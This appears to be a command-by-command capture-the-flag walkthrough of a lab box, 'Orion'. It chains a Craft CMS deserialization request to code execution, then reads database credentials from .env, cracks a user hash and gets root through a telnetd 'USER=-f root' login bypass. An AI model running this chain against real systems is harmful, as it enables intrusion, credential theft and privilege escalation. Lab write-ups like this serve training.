Orion: Craft CMS RCE to Root

$ nmap -p- --min-rate 5000 -sS 10.129.244.146
$ nmap -sC -sV -A -oN nmap_report.txt 10.129.244.146

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 (Ubuntu)
80/tcp open  http    nginx 1.18.0 (Ubuntu), PHP-FPM

$ curl -s -X POST "http://orion.htb/index.php?p=admin/actions/assets/generate-transform" \
  -H "Content-Type: application/json" \
  --data '{
    "assetId": 1,
    "handle": {
      "__class": "yii\\rbac\\PhpManager",
      "itemFile": "/path/to/poisoned/session/file"
    }
  }'

$ curl -s "http://orion.htb/index.php?p=admin/actions/assets/generate-transform" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cat /var/www/html/craft/.env

DB_SERVER=127.0.0.1
DB_DATABASE=orion
DB_USER=root
DB_PASSWORD=[REDACTED]

$ mysql -u root -p'[REDACTED]' -h 127.0.0.1 orion \
  -e "SELECT username, email, password FROM users;"

admin | adam@orion.htb | [REDACTED — bcrypt]

$ hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt

admin (adam@orion.htb) : [REDACTED]

$ ssh adam@orion.htb
Password: [REDACTED]

adam@orion:~$ cat user.txt

adam@orion:~$ ss -tlnp
127.0.0.1:23   LISTEN   (telnetd, GNU inetutils 2.7, running as root)

adam@orion:~$ USER="-f root" telnet -a 127.0.0.1

# whoami → root
# cat /root/root.txt